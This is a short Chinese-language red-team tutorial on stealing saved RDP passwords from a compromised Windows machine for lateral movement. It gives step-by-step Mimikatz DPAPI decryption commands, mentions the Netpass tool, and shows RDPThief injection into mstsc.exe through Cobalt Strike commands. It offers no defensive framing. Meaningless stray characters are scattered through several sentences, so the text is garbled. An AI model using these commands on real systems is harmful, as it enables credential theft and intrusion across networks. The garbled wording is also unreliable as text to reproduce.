0x00 簡介
就是利用RDP協(xié)議遠(yuǎn)程連接其他機(jī)器的密碼。
image
0x01 獲取保存的RDP憑據(jù)
在獲取一臺(tái)機(jī)器管理員權(quán)限后，可以查看本地是否保存了 RDP 密碼绢淀，然后解密嘗試用于橫向。
查看保存的遠(yuǎn)程主機(jī)信息（該命令需要在用戶 session 下執(zhí)行）
cmdkey /list
image
1. Mimikatz
本地的憑據(jù)
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
image
選擇一個(gè)開始進(jìn)行解密，這里需要記錄 guidMasterKey
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\{用戶名}\AppData\Local\Microsoft\Credentials\{session}"
image
找到對應(yīng)的 Masterkey
sekurlsa::dpapi
image
用密鑰來進(jìn)行解密指定的憑據(jù)睡汹，成功解出密碼
dpapi::cred /in:C:\Users\{用戶名}\AppData\Local\Microsoft\Credentials\{session} /masterkey:{masterkey}
image
后面，懂得都懂
2. Netpass.exe
界面化工具
image
0x02 HOOK RDP 憑據(jù)
直接用工具寂殉，原理建議看 作者原文
啟動(dòng)心跳檢測囚巴，檢查新的mstsc.exe進(jìn)程，執(zhí)行注入操作
rdpthief_enable
image
模擬管理員進(jìn)行遠(yuǎn)程登錄
image
停止心跳檢測
rdpthief_disable
查看結(jié)果
rdpthief_dump
我的cs有點(diǎn)奇怪友扰。彤叉。。村怪。
image
還是導(dǎo)出來看吧秽浇，在 %temp%\data.bin 里
image.png
